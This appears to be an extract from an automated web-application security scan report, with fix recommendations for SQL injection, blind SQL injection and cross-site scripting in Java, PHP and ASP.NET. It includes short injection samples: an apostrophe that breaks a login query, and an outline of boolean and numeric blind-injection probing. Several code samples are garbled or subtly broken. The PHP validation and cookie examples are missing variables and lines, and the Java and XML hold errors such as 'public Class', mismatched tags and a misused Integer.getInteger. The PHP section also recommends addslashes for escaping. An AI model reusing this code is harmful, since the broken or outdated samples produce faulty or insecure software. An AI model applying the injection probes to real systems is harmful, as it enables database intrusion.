# invalid user name format
error.username.alphanumeric=User name must be alphanumeric

# duplicate user name error message
error.username.duplicate=User name {0} already exists, please choose another one

...
```

Multiple resources can be defined to support different locales (hence the name resource bundle). For example, ErrorMessages_fr.properties can be defined to support the French member of the bundle family. If the resource member of the requested locale does not exist, the default member is used. In the above example, the default resource is ErrorMessages.properties. Depending on the user's locale, the application (JSP or Servlet) retrieves content from the appropriate resource.

[3-b] Message Formatting
The J2SE standard class java.util.MessageFormat provides a generic way to create messages with replacement placeholders. A MessageFormat object contains a pattern string with embedded format specifiers as shown below:

```
// Example to show how to format a message using placeholder parameters
String pattern = "User name {0} already exists, please choose another one";
String userName = request.getParameter("user_name");
Object[] args = new Object[1];
args[0] = userName;
String message = MessageFormat.format(pattern, args);
```

Here is a more comprehensive example to render error messages using ResourceBundle and MessageFormat:

```
// Example to render an error message from a localized ErrorMessages resource (properties file)
// Utility class to retrieve locale-specific error messages
public Class ErrorMessageResource {

    // Returns the error message for the specified error key in the environment locale
    public String getErrorMessage(String errorKey) {
        return getErrorMessage(errorKey, defaultLocale);
    }

    // Returns the error message for the specified error key in the specified locale
    public String getErrorMessage(String errorKey, Locale locale) {
        return getErrorMessage(errorKey, null, locale);
```

```
        }

        // Returns a formatted error message for the specified error key in the specified locale
        public String getErrorMessage(String errorKey, Object[] args, Locale locale) {
            // Get localized ErrorMessageResource
            ResourceBundle errorMessageResource = ResourceBundle.getBundle("ErrorMessages", locale);
            // Get localized error message
            String errorMessage = errorMessageResource.getString(errorKey);
            if (args != null) {
                // Format the message using the specified placeholders args
                return MessageFormat.format(errorMessage, args);
            } else {
                return errorMessage;
            }
        }

        // default environment locale
        private Locale defaultLocale = Locale.getDefaultLocale();
    }
    ...
    // Get the user's locale
    Locale userLocale = request.getLocale();
    // Check if there were any validation errors
    Errors errors = (Errors)request.getAttribute("errors");
    if (errors != null && errors.hasErrors()) {
        // iterate through errors and output error messages corresponding to the "user_name"
property
        ArrayList userNameErrors = errors.getErrors("user_name");
        ListIterator iterator = userNameErrors.iterator();
        while (iterator.hasNext()) {
            // Get the next error object
            Error error = (Error)iterator.next();
            String errorMessage = ErrorMessageResource.getErrorMessage(error.getKey(), userLocale);
            output.write(errorMessage + "\r\n");
        }
    }
```

It is recommended to define a custom JSP tag, e.g. displayErrors, to iterate through and render error messages as shown in the above example.

[4] Error Mapping
Normally, the Servlet Container will return a default error page corresponding to either the response status code or the exception. A mapping between the status code or the exception and a web resource may be specified using custom error pages. It is a good practice to develop static error pages that do not disclose internal error states (by default, most Servlet containers will report internal error messages). This mapping is configured in the Web Deployment Descriptor (web.xml) as specified in the following example:

```
  <!-- Mapping of HTTP error codes and application exceptions to error pages -->
  <error-page>
    <exception-type>UserValidationException</exception-type>
    <location>/errors/validationError.html</error-page>
  </error-page>
  <error-page>
    <error-code>500</exception-type>
    <location>/errors/internalError.html</error-page>
  </error-page>
  <error-page>
  ...
  </error-page>
  ...
```

RECOMMENDED JAVA TOOLS
The two main Java frameworks for server-side validation are:
[1] Jakarta Commons Validator (integrated with Struts 1.1)
The Jakarta Commons Validator is a Java framework that defines the error handling mechanism as described above. Validation rules are configured in an XML file that defines input validation rules for form fields and the corresponding validation error keys. Struts provides internationalization support to build localized applications using resource bundles and message formatting.

Example to validate the userName field of a loginForm using Struts Validator:

```
  <form-validation>
      <global>
          ...
          <validator name="required"
              classname="org.apache.struts.validator.FieldChecks"
              method="validateRequired"
              msg="errors.required">
          </validator>
          <validator name="mask"
              classname="org.apache.struts.validator.FieldChecks"
              method="validateMask"
              msg="errors.invalid">
          </validator>
          ...
      </global>
```

```
    <formset>
        <form name="loginForm">
            <!-- userName is required and is alpha-numeric case insensitive -->
            <field property="userName" depends="required,mask">
                <!-- message resource key to display if validation fails -->
                <msg name="mask" key="login.userName.maskmsg"/>
                <arg0 key="login.userName.displayname"/>
                <var>
                    <var-name>mask</var-name>
                    <var-value>^[a-zA-Z0-9]*$</var-value>
                </var>
            </field>
        ...
        </form>
        ...
    </formset>
</form-validation>
```

The Struts JSP tag library defines the "errors" tag that conditionally displays a set of accumulated error messages as shown in the following example:

```
<%@ page language="java" %>
<%@ taglib uri="/WEB-INF/struts-html.tld" prefix="html" %>
<%@ taglib uri="/WEB-INF/struts-bean.tld" prefix="bean" %>
<html:html>
<head>
<body>
    <html:form action="/logon.do">
    <table border="0" width="100%">
    <tr>
        <th align="right">
            <html:errors property="username"/>
            <bean:message key="prompt.username"/>
        </th>
        <td align="left">
            <html:text property="username" size="16"/>
        </td>
    </tr>
    <tr>
    <td align="right">
        <html:submit><bean:message key="button.submit"/></html:submit>
    </td>
    <td align="right">
        <html:reset><bean:message key="button.reset"/></html:reset>
    </td>
    </tr>
    </table>
    </html:form>
</body>
</html:html>
```

[2] JavaServer Faces Technology
JavaServer Faces Technology is a set of Java APIs (JSR 127) to represent UI components, manage their state, handle events, validate input, and support internationalization.

The JavaServer Faces API defines the "output_errors" UIOutput Renderer, which displays error messages for an entire page or error messages associated with a specified client identifier.

Example to validate the userName field of a loginForm using JavaServer Faces:

```
<%@ taglib uri="http://java.sun.com/jsf/html" prefix="h" %>
<%@ taglib uri="http://java.sun.com/jsf/core" prefix="f" %>
...
<jsp:useBean id="UserBean"
    class="myApplication.UserBean" scope="session" />
<f:use_faces>
  <h:form formName="loginForm" >
    <h:input_text id="userName" size="20" modelReference="UserBean.userName">
        <f:validate_required/>
        <f:validate_length minimum="8" maximum="20"/>
    </h:input_text>
    <!-- display errors if present -->
    <h:output_errors id="loginErrors" clientId="userName"/>
    <h:command_button id="submit" label="Submit" commandName="submit" /><p>
  </h:form>
</f:use faces>
```

REFERENCES
Java API 1.3 -
http://java.sun.com/j2se/1.3/docs/api/
Java API 1.4 -
http://java.sun.com/j2se/1.4/docs/api/
Java Servlet API 2.3 -
http://java.sun.com/products/servlet/2.3/javadoc/
Java Regular Expression Package -

http://jakarta.apache.org/regexp/
Jakarta Validator -
http://jakarta.apache.org/commons/validator/
JavaServer Faces Technology -
http://java.sun.com/j2ee/javaserverfaces/

## Fix Recommendation - PHP

** Filter User Input

Before passing any data to a SQL query, it should always be properly filtered with whitelisting techniques. This cannot be over-emphasized. Filtering user input will correct many injection flaws before they arrive at the database.

** Quote User Input

Regardless of data type, it is always a good idea to place single quotes around all user data if this is permitted by the database. MySQL allows this formatting technique.

** Escape the Data Values

If you're using MySQL 4.3.0 or newer, you should escape all strings with mysql_real_escape_string(). If you are using an older version of MySQL, you should use the mysql_escape_string() function. If you are not using MySQL, you might choose to use the specific escaping function for your particular database. If you are not aware of an escaping function, you might choose to utilize a more generic escaping function such as addslashes().

If you're using the PEAR DB database abstraction layer, you can use the DB::quote() method or use a query placeholder like ?, which automatically escapes the value that replaces the placeholder.

REFERENCES

http://ca3.php.net/mysql_real_escape_string

http://ca.php.net/mysql_escape_string

http://ca.php.net/addslashes

http://pear.php.net/package-info.php?package=DB

** Input Data Validation:

While data validations may be provided as a user convenience on the client-tier, data validation must always be performed on the server-tier. Client-side validations are inherently insecure because they can be easily bypassed, e.g. by disabling Javascript.

A good design usually requires the web application framework to provide server-side utility routines to validate the following:
[1] Required field
[2] Field data type (all HTTP request parameters are Strings by default)
[3] Field length
[4] Field range
[5] Field options
[6] Field pattern
[7] Cookie values
[8] HTTP Response

A good practice is to implement a function or functions that validates each application parameter. The following sections describe some example checking.

[1] Required field
Always check that the field is not null and its length is greater than zero, excluding leading and trailing white spaces.

Example of how to validate required fields:

```
  // PHP example to validate required fields
input) {
      ...
ass = false;
input))>0){
ass = true;
      }
ass;
      ...
  }
  ...
fieldName)) {
      // fieldName is valid, continue processing request
      ...
  }
```

[2] Field data type
In web applications, input parameters are poorly typed. For example, all HTTP request parameters or cookie values are of type String. The developer is responsible for verifying the input is of the correct data type.

[3] Field length
Always ensure that the input parameter (whether HTTP request parameter or cookie value) is bounded by a minimum length and/or a

maximum length.

[4] Field range
Always ensure that the input parameter is within a range as defined by the functional requirements.

[5] Field options
Often, the web application presents the user with a set of options to choose from, e.g. using the SELECT HTML tag, but fails to perform server-side validation to ensure that the selected value is one of the allowed options. Remember that a malicious user can easily modify any option value. Always validate the selected user value against the allowed options as defined by the functional requirements.

[6] Field pattern
Always check that user input matches a pattern as defined by the functionality requirements. For example, if the userName field should only allow alpha-numeric characters, case insensitive, then use the following regular expression:
^[a-zA-Z0-9]+$

[7] Cookie value
The same validation rules (described above) apply to cookie values depending on the application requirements, e.g. validate a required value, validate length, etc.

[8] HTTP Response

[8-1] Filter user input
To guard the application against cross-site scripting, the developer should sanitize HTML by converting sensitive characters to their corresponding character entities. These are the HTML sensitive characters:
< > " ' % ; ) ( & +

PHP includes some automatic sanitization utility functions, such as htmlentities():

```
$input = htmlentities($input, ENT QUOTES, UTF-8);
```

In addition, in order to avoid UTF-7 variants of Cross-site Scripting, you should explicitly define the Content-Type header of the response, for example:

```
<?php

header('Content-Type: text/html; charset=UTF-8');

?>
```

[8-2] Secure the cookie

When storing sensitive data in a cookie and transporting it over SSL, make sure that you first set the secure flag of the cookie in the HTTP response. This will instruct the browser to only use that cookie over SSL connections.

You can use the following code example, for securing the cookie:

```
<$php

value = "some_value";
time = time()+3600;
ath = "/application/";
domain = ".example.com";
secure = 1;

secure, TRUE);
?>
```

In addition, we recommend that you use the HttpOnly flag. When the HttpOnly flag is set to TRUE the cookie will be made accessible only through the HTTP protocol. This means that the cookie won't be accessible by scripting languages, such as JavaScript. This setting can effectively help to reduce identity theft through XSS attacks (although it is not supported by all browsers).

The HttpOnly flag was Added in PHP 5.2.0.

REFERENCES

[1] Mitigating Cross-site Scripting With HTTP-only Cookies:
http://msdn2.microsoft.com/en-us/library/ms533046.aspx
[2] PHP Security Consortium:
http://phpsec.org/
[3] PHP & Web Application Security Blog (Chris Shiflett):
http://shiflett.org/

## References and Relevant Links

"Web Application Disassembly with ODBC Error Messages" (By David Litchfield)
SQL Injection Training Module

# Blind SQL Injection

## Application

## WASC Threat Classification

SQL Injection
http://projects.webappsec.org/SQL-Injection

## Security Risks

It is possible to view, modify or delete database entries and tables

## Possible Causes

Sanitation of hazardous characters was not performed correctly on user input

## Technical Description

The software constructs all or part of an SQL command using externally-influenced input, but fails to neutralize elements that could modify the SQL command when it is sent to the database.

Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data. This can be used to alter query logic to bypass security checks, or to insert additional statements that modify the back-end database, possibly including execution of system commands.

For example, let's say we have an HTML page with a login form, which eventually runs the following SQL query on the database using the user input:

```
SELECT * FROM accounts WHERE username='$user' AND password='$pass'
```

The two variables, $user and $pass, contain the user credentials entered by the user in the login form.
If the user has input "jsmith" as the username, and "Demo1234" as the password, the SQL query will look like this:

```
SELECT * FROM accounts WHERE username='jsmith' AND password='Demo1234'
```

But if the user input "'" (a single apostrophe) as the username, and "'" (a single apostrophe) as the password, the SQL query will look like this:

```
SELECT * FROM accounts WHERE username=''' AND password='''
```

This, of course, is a malformed SQL query, and will invoke an error message, which may be returned in the HTTP response.
An error such as this informs the attacker that an SQL Injection has succeeded, which will lead the attacker to attempt further attack vectors.

Blind SQL Injection is similar of SQL Injection. The difference lies in the fact that to leverage it, the attacker does not need to look for SQL errors in the response. Therefore, the method AppScan uses to identify it is also different.
Instead of attempting to invoke an SQL error, AppScan locates scripts that are susceptible to SQL injection, by manipulating the logic of the application through multiple requests.

The technique calls for sending requests whose vulnerable parameter (the parameter that gets embedded in the SQL query) is modified so that the response indicates whether the data is used in SQL query context or not. The modification involves the use of an AND Boolean expression with the original string, which evaluates once as True and once as False. In one case, the net result should be identical to the original result (a successful login), and in the other case, the result should be significantly different (a failed login). An OR expression which evaluates as True may also be useful for some rare cases.

If the original data is numeric, a simpler trick can be played. Let's consider original data 123. This can be replaced with 0+123 in one request, and with 456+123 in another. The result of the first request should be identical to the original result, whereas the result of the second request should be different (as the number is evaluated as 579). For some cases, we still need a version of the attack described above (using AND and OR), but without escaping from string context.

The concept behind Blind SQL Injection is that it is possible, even without receiving direct data from the database (in the form of an error message, or leaked information), to extract data from the database, one bit at a time, or to modify the query in a malicious way. The idea is that the application's behavior (returning responses that are identical or different to the original response) can provide a single bit of information about the evaluated (modified) query, meaning, it's possible for the attacker to formulate an SQL Boolean expression whose evaluation (single bit) is compromised in the form of the application behavior (identical/un-identical to the original behavior).

## Fix Recommendation - General

There are several mitigation techniques:
[1] Strategy: Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness or provides constructs that make it easier to avoid.

[2] Strategy: Parameterization
If available, use structured mechanisms that automatically enforce separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this at every point where output is generated.

[3] Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks.

[4] Strategy: Output Encoding
If you need to use dynamically-generated query strings or commands in spite of the risk, properly quote arguments, and escape any special characters within those arguments.

[5] Strategy: Input Validation
Assume all input is malicious. Use an "accept known good" input validation strategy: a whitelist of acceptable inputs that strictly

conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. Do not rely exclusively on detecting for malicious or malformed inputs with a blacklist. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

## Fix Recommendation - ASP.NET

Here are two possible ways to protect your web application against SQL injection attacks:

[1] Use a stored procedure rather than dynamically built SQL query string. The way parameters are passed to SQL Server stored procedures, prevents the use of apostrophes and hyphens.

Here is a simple example of how to use stored procedures in ASP.NET:

```
' Visual Basic example
Dim DS As DataSet
Dim MyConnection As SqlConnection
Dim MyCommand As SqlDataAdapter

Dim SelectCommand As String = "select * from users where username = @username"
...
MyCommand.SelectCommand.Parameters.Add(New SqlParameter("@username", SqlDbType.NVarChar, 20))
MyCommand.SelectCommand.Parameters("@username").Value = UserNameField.Value


// C# example
String selectCmd = "select * from Authors where state = @username";
SqlConnection myConnection = new SqlConnection("server=...");
SqlDataAdapter myCommand = new SqlDataAdapter(selectCmd, myConnection);

myCommand.SelectCommand.Parameters.Add(new SqlParameter("@username", SqlDbType.NVarChar, 20));
myCommand.SelectCommand.Parameters["@username"].Value = UserNameField.Value;
```

[2] You can add input validation to Web Forms pages by using validation controls. Validation controls provide an easy-to-use mechanism for all common types of standard validation - for example, testing for valid dates or values within a range - plus ways to provide custom-written validation. In addition, validation controls allow you to completely customize how error information is displayed to the user. Validation controls can be used with any controls that are processed in a Web Forms page's class file, including both HTML and Web server controls.

In order to make sure user input contains only valid values, you can use one of the following validation controls:

a. "RangeValidator": checks that a user's entry (value) is between specified lower and upper boundaries. You can check ranges within pairs of numbers, alphabetic characters, and dates.

b. "RegularExpressionValidator": checks that the entry matches a pattern defined by a regular expression. This type of validation allows you to check for predictable sequences of characters, such as those in social security numbers, e-mail addresses, telephone numbers, postal codes, and so on.

Important note: validation controls do not block user input or change the flow of page processing; they only set an error state, and produce error messages. It is the programmer's responsibility to test the state of the controls in the code before performing further application-specific actions.

There are two ways to check for user input validity:

1. Testing for a general error state:

In your code, test the page's IsValid property. This property rolls up the values of the IsValid properties of all the validation controls on the page (using a logical AND). If one of the validation controls is set to invalid, the page's property will return false.

2. Testing for the error state of individual controls:

Loop through the page's Validators collection, which contains references to all the validation controls. You can then examine the IsValid property of each validation control.

## Fix Recommendation - J2EE

** Prepared Statements:

There are 3 possible ways to protect your application against SQL injection, i.e. malicious tampering of SQL parameters. Instead of dynamically building SQL statements, use:

[1] PreparedStatement, which is precompiled and stored in a pool of PreparedStatement objects. PreparedStatement defines setters to register input parameters that are compatible with the supported JDBC SQL data types. For example, setString should be used for input parameters of type VARCHAR or LONGVARCHAR (refer to the Java API for further details). This way of setting input parameters prevents an attacker from manipulating the SQL statement through injection of bad characters, such as apostrophe.

Example of how to use a PreparedStatement in J2EE:

```
// J2EE PreparedStatemenet Example
// Get a connection to the database
Connection myConnection;
if (isDataSourceEnabled()) {
    // using the DataSource to get a managed connection
    Context ctx = new InitialContext();
    myConnection = ((DataSource)ctx.lookup(datasourceName)).getConnection(dbUserName,
dbPassword);
```

```
  } else {
      try {
          // using the DriverManager to get a JDBC connection
          Class.forName(jdbcDriverClassPath);
          myConnection = DriverManager.getConnection(jdbcURL, dbUserName, dbPassword);
      } catch (ClassNotFoundException e) {
          ...
      }
  }
  ...
  try {
      PreparedStatement myStatement = myConnection.prepareStatement("select * from users where
username = ?");
      myStatement.setString(1, userNameField);
      ResultSet rs = myStatement.executeQuery();
      ...
      rs.close();
  } catch (SQLException sqlException) {
      ...
  } finally {
      myStatement.close();
      myConnection.close();
  }
```

[2] CallableStatement, which extends PreparedStatement to execute database SQL stored procedures. This class inherits input setters from PreparedStatement (see [1] above).

The following example assumes that this database stored procedure has been created:

```
CREATE PROCEDURE select_user (@username varchar(20))
AS SELECT * FROM USERS WHERE USERNAME = @username;
```

Example of how to use a CallableStatement in J2EE to execute the above stored procedure:

```
  // J2EE PreparedStatemenet Example
  // Get a connection to the database
  Connection myConnection;
  if (isDataSourceEnabled()) {
      // using the DataSource to get a managed connection
      Context ctx = new InitialContext();
      myConnection = ((DataSource)ctx.lookup(datasourceName)).getConnection(dbUserName,
dbPassword);
  } else {
      try {
          // using the DriverManager to get a JDBC connection
          Class.forName(jdbcDriverClassPath);
          myConnection = DriverManager.getConnection(jdbcURL, dbUserName, dbPassword);
      } catch (ClassNotFoundException e) {
          ...
      }
  }
  ...
  try {
      PreparedStatement myStatement = myConnection.prepareCall("{?= call select_user ?,?}");
      myStatement.setString(1, userNameField);
      myStatement.registerOutParameter(1, Types.VARCHAR);
      ResultSet rs = myStatement.executeQuery();
      ...
      rs.close();
  } catch (SQLException sqlException) {
      ...
  } finally {
      myStatement.close();
      myConnection.close();
  }
```

[3] Entity Bean, which represents an EJB business object in a persistent storage mechanism. There are two types of entity beans: bean-managed and container-managed. With bean-managed persistence, the developer is responsible of writing the SQL code to access the database (refer to sections [1] and [2] above). With container-managed persistence, the EJB container automatically generates the SQL code. As a result, the container is responsible of preventing malicious attempts to tamper with the generated SQL code.

Example of how to use an Entity Bean in J2EE:

```
  // J2EE EJB Example
  try {
      // lookup the User home interface
      UserHome userHome = (UserHome)context.lookup(User.class);
      // find the User remote interface
      User = userHome.findByPrimaryKey(new UserKey(userNameField));
      ...
  } catch (Exception e) {
      ...
  }
```

RECOMMENDED JAVA TOOLS
N/A

REFERENCES

http://java.sun.com/j2se/1.4.1/docs/api/java/sql/PreparedStatement.html

http://java.sun.com/j2se/1.4.1/docs/api/java/sql/CallableStatement.html

** Input Data Validation:

While data validations may be provided as a user convenience on the client-tier, data validation must be performed on the server-tier using Servlets. Client-side validations are inherently insecure because they can be easily bypassed, e.g. by disabling Javascript.

A good design usually requires the web application framework to provide server-side utility routines to validate the following:
[1] Required field
[2] Field data type (all HTTP request parameters are Strings by default)
[3] Field length
[4] Field range
[5] Field options
[6] Field pattern
[7] Cookie values
[8] HTTP Response

A good practice is to implement the above routine as static methods in a "Validator" utility class. The following sections describe an example validator class.

[1] Required field
Always check that the field is not null and its length is greater than zero, excluding leading and trailing white spaces.

Example of how to validate required fields:

```
// Java example to validate required fields
public Class Validator {
    ...
    public static boolean validateRequired(String value) {
        boolean isFieldValid = false;
        if (value != null && value.trim().length() > 0) {
            isFieldValid = true;
        }
        return isFieldValid;
    }
    ...
}
...
String fieldValue = request.getParameter("fieldName");
if (Validator.validateRequired(fieldValue)) {
    // fieldValue is valid, continue processing request
    ...
}
```

[2] Field data type
In web applications, input parameters are poorly typed. For example, all HTTP request parameters or cookie values are of type String. The developer is responsible for verifying the input is of the correct data type. Use the Java primitive wrapper classes to check if the field value can be safely converted to the desired primitive data type.

Example of how to validate a numeric field (type int):

```
// Java example to validate that a field is an int number
public Class Validator {
    ...
    public static boolean validateInt(String value) {
        boolean isFieldValid = false;
        try {
            Integer.parseInt(value);
            isFieldValid = true;
        } catch (Exception e) {
            isFieldValid = false;
        }
        return isFieldValid;
    }
    ...
}
...
// check if the HTTP request parameter is of type int
String fieldValue = request.getParameter("fieldName");
if (Validator.validateInt(fieldValue)) {
    // fieldValue is valid, continue processing request
    ...
}
```

A good practice is to convert all HTTP request parameters to their respective data types. For example, the developer should store

the "integerValue" of a request parameter in a request attribute and use it as shown in the following example:

```
// Example to convert the HTTP request parameter to a primitive wrapper data type
// and store this value in a request attribute for further processing
String fieldValue = request.getParameter("fieldName");
if (Validator.validateInt(fieldValue)) {
    // convert fieldValue to an Integer
    Integer integerValue = Integer.getInteger(fieldValue);
    // store integerValue in a request attribute
    request.setAttribute("fieldName", integerValue);
}
...
// Use the request attribute for further processing
Integer integerValue = (Integer)request.getAttribute("fieldName");
...
```

The primary Java data types that the application should handle:
- Byte
- Short
- Integer
- Long
- Float
- Double
- Date

[3] Field length
Always ensure that the input parameter (whether HTTP request parameter or cookie value) is bounded by a minimum length and/or a maximum length.

Example to validate that the length of the userName field is between 8 and 20 characters:

```
// Example to validate the field length
public Class Validator {
    ...
    public static boolean validateLength(String value, int minLength, int maxLength) {
        String validatedValue = value;
        if (!validateRequired(value)) {
            validatedValue = "";
        }
        return (validatedValue.length() >= minLength &&
                    validatedValue.length() <= maxLength);
    }
    ...
}
...
String userName = request.getParameter("userName");
if (Validator.validateRequired(userName)) {
    if (Validator.validateLength(userName, 8, 20)) {
        // userName is valid, continue further processing
        ...
    }
}
```

[4] Field range
Always ensure that the input parameter is within a range as defined by the functional requirements.

Example to validate that the input numberOfChoices is between 10 and 20:

```
// Example to validate the field range
public Class Validator {
    ...
    public static boolean validateRange(int value, int min, int max) {
        return (value >= min && value <= max);
    }
    ...
}
...
String fieldValue = request.getParameter("numberOfChoices");
if (Validator.validateRequired(fieldValue)) {
    if (Validator.validateInt(fieldValue)) {
        int numberOfChoices = Integer.parseInt(fieldValue);
        if (Validator.validateRange(numberOfChoices, 10, 20)) {
            // numberOfChoices is valid, continue processing request
            ...
        }
    }
}
```

[5] Field options
Often, the web application presents the user with a set of options to choose from, e.g. using the SELECT HTML tag, but fails to perform server-side validation to ensure that the selected value is one of the allowed options. Remember that a malicious user can easily modify any option value. Always validate the selected user value against the allowed options as defined by the functional requirements.

Example to validate the user selection against a list of allowed options:

```
// Example to validate user selection against a list of options
public Class Validator {
    ...
    public static boolean validateOption(Object[] options, Object value) {
        boolean isValidValue = false;
        try {
            List list = Arrays.asList(options);
            if (list != null) {
                isValidValue = list.contains(value);
            }
        } catch (Exception e) {
        }
        return isValidValue;
    }
    ...
}
...
// Allowed options
String[] options = {"option1", "option2", "option3");
// Verify that the user selection is one of the allowed options
String userSelection = request.getParameter("userSelection");
if (Validator.validateOption(options, userSelection)) {
    // valid user selection, continue processing request
    ...
}
```

[6] Field pattern
Always check that the user input matches a pattern as defined by the functionality requirements. For example, if the userName field should only allow alpha-numeric characters, case insensitive, then use the following regular expression:
^[a-zA-Z0-9]*$

Java 1.3 or earlier versions do not include any regular expression packages. Apache Regular Expression Package (see Resources below) is recommended for use with Java 1.3 to resolve this lack of support. Example to perform regular expression validation:

```
// Example to validate that a given value matches a specified pattern
// using the Apache regular expression package
import org.apache.regexp.RE;
import org.apache.regexp.RESyntaxException;
public Class Validator {
    ...
    public static boolean matchPattern(String value, String expression) {
        boolean match = false;
        if (validateRequired(expression)) {
            RE r = new RE(expression);
            match = r.match(value);
        }
        return match;
    }
    ...
}
...
// Verify that the userName request parameter is alpha-numeric
String userName = request.getParameter("userName");
if (Validator.matchPattern(userName, "^[a-zA-Z0-9]*$")) {
    // userName is valid, continue processing request
    ...
}
```

Java 1.4 introduced a new regular expression package (java.util.regex). Here is a modified version of Validator.matchPattern using the new Java 1.4 regular expression package:

```
// Example to validate that a given value matches a specified pattern
// using the Java 1.4 regular expression package
import java.util.regex.Pattern;
import java.util.regexe.Matcher;
public Class Validator {
    ...
    public static boolean matchPattern(String value, String expression) {
        boolean match = false;
        if (validateRequired(expression)) {
            match = Pattern.matches(expression, value);
        }
        return match;
    }
    ...
}
```

[7] Cookie value
Use the javax.servlet.http.Cookie object to validate the cookie value. The same validation rules (described above) apply to cookie values depending on the application requirements, e.g. validate a required value, validate length, etc.

Example to validate a required cookie value:

```
// Example to validate a required cookie value
// First retrieve all available cookies submitted in the HTTP request
Cookie[] cookies = request.getCookies();
if (cookies != null) {
    // find the "user" cookie
    for (int i=0; i<cookies.length; ++i) {
        if (cookies[i].getName().equals("user")) {
            // validate the cookie value
            if (Validator.validateRequired(cookies[i].getValue()) {
                // valid cookie value, continue processing request
                ...
            }
        }
    }
}
```

[8] HTTP Response
[8-1] Filter user input
To guard the application against cross-site scripting, sanitize HTML by converting sensitive characters to their corresponding character entities. These are the HTML sensitive characters:
< > " ' % ; ) ( & +

Example to filter a specified string by converting sensitive characters to their corresponding character entities:

```
// Example to filter sensitive data to prevent cross-site scripting
public Class Validator {
    ...
    public static String filter(String value) {
        if (value == null) {
            return null;
        }
        StringBuffer result = new StringBuffer(value.length());
        for (int i=0; i<value.length(); ++i) {
            switch (value.charAt(i)) {
            case '<':
                result.append("&lt;");
                break;
            case '>':
                result.append("&gt;");
                break;
            case '"':
                result.append("&quot;");
                break;
            case '\'':
                result.append("&#39;");
                break;
            case '%':
                result.append("&#37;");
                break;
            case ';':
                result.append("&#59;");
                break;
            case '(':
                result.append("&#40;");
                break;
            case ')':
                result.append("&#41;");
                break;
            case '&':
                result.append("&amp;");
                break;
            case '+':
                result.append("&#43;");
                break;
            default:
                result.append(value.charAt(i));
                break;
        }
        return result;
    }
    ...
}
...
// Filter the HTTP response using Validator.filter
PrintWriter out = response.getWriter();
// set output response
out.write(Validator.filter(response));
out.close();
```

The Java Servlet API 2.3 introduced Filters, which supports the interception and transformation of HTTP requests or responses.

Example of using a Servlet Filter to sanitize the response using Validator.filter:

```
  // Example to filter all sensitive characters in the HTTP response using a Java Filter.
  // This example is for illustration purposes since it will filter all content in the response,
including HTML tags!
  public class SensitiveCharsFilter implements Filter {
      ...
      public void doFilter(ServletRequest request,
                      ServletResponse response,
                      FilterChain chain)
              throws IOException, ServletException {

          PrintWriter out = response.getWriter();
          ResponseWrapper wrapper = new ResponseWrapper((HttpServletResponse)response);
          chain.doFilter(request, wrapper);

          CharArrayWriter caw = new CharArrayWriter();
          caw.write(Validator.filter(wrapper.toString()));

          response.setContentType("text/html");
          response.setContentLength(caw.toString().length());
          out.write(caw.toString());
          out.close();
      }
      ...
      public class CharResponseWrapper extends HttpServletResponseWrapper {
          private CharArrayWriter output;

          public String toString() {
              return output.toString();
          }

          public CharResponseWrapper(HttpServletResponse response){
              super(response);
              output = new CharArrayWriter();
          }

          public PrintWriter getWriter(){
              return new PrintWriter(output);
          }
      }
  }

  }
```

[8-2] Secure the cookie
When storing sensitive data in a cookie, make sure to set the secure flag of the cookie in the HTTP response, using Cookie.setSecure(boolean flag) to instruct the browser to send the cookie using a secure protocol, such as HTTPS or SSL.

Example to secure the "user" cookie:

```
  // Example to secure a cookie, i.e. instruct the browser to
  // send the cookie using a secure protocol
  Cookie cookie = new Cookie("user", "sensitive");
  cookie.setSecure(true);
  response.addCookie(cookie);
```

RECOMMENDED JAVA TOOLS
The two main Java frameworks for server-side validation are:
[1] Jakarta Commons Validator (integrated with Struts 1.1)
The Jakarta Commons Validator is a powerful framework that implements all the above data validation requirements. These rules are configured in an XML file that defines input validation rules for form fields. Struts supports output filtering of dangerous characters in the [8] HTTP Response by default on all data written using the Struts 'bean:write' tag. This filtering may be disabled by setting the 'filter=false' flag.

Struts defines the following basic input validators, but custom validators may also be defined:
required: succeeds if the field contains any characters other than white space.
mask: succeeds if the value matches the regular expression given by the mask attribute.
range: succeeds if the value is within the values given by the min and max attributes ((value >= min) & (value <= max)).
maxLength: succeeds if the field is length is less than or equal to the max attribute.
minLength: succeeds if the field is length is greater than or equal to the min attribute.
byte, short, integer, long, float, double: succeeds if the value can be converted to the corresponding primitive.
date: succeeds if the value represents a valid date. A date pattern may be provided.
creditCard: succeeds if the value could be a valid credit card number.
e-mail: succeeds if the value could be a valid e-mail address.

Example to validate the userName field of a loginForm using Struts Validator:

```
  <form-validation>
      <global>
          ...
          <validator name="required"
              classname="org.apache.struts.validator.FieldChecks"
              method="validateRequired"
              msg="errors.required">
          </validator>
          <validator name="mask"
```

```
                classname="org.apache.struts.validator.FieldChecks"
                method="validateMask"
                msg="errors.invalid">
            </validator>
            ...
        </global>
        <formset>
            <form name="loginForm">
                <!-- userName is required and is alpha-numeric case insensitive -->
                <field property="userName" depends="required,mask">
                    <!-- message resource key to display if validation fails -->
                    <msg name="mask" key="login.userName.maskmsg"/>
                    <arg0 key="login.userName.displayname"/>
                    <var>
                        <var-name>mask</var-name>
                        <var-value>^[a-zA-Z0-9]*$</var-value>
                    </var>
                </field>
            ...
            </form>
            ...
        </formset>
    </form-validation>
```

[2] JavaServer Faces Technology
JavaServer Faces Technology is a set of Java APIs (JSR 127) to represent UI components, manage their state, handle events and input validation.

The JavaServer Faces API implements the following basic validators, but custom validators may be defined:
validate_doublerange: registers a DoubleRangeValidator on a component
validate_length: registers a LengthValidator on a component
validate_longrange: registers a LongRangeValidator on a component
validate_required: registers a RequiredValidator on a component
validate_stringrange: registers a StringRangeValidator on a component
validator: registers a custom Validator on a component

The JavaServer Faces API defines the following UIInput and UIOutput Renderers (Tags):
input_date: accepts a java.util.Date formatted with a java.text.Date instance
output_date: displays a java.util.Date formatted with a java.text.Date instance
input_datetime: accepts a java.util.Date formatted with a java.text.DateTime instance
output_datetime: displays a java.util.Date formatted with a java.text.DateTime instance
input_number: displays a numeric data type (java.lang.Number or primitive), formatted with a java.text.NumberFormat
output_number: displays a numeric data type (java.lang.Number or primitive), formatted with a java.text.NumberFormat
input_text: accepts a text string of one line.
output_text: displays a text string of one line.
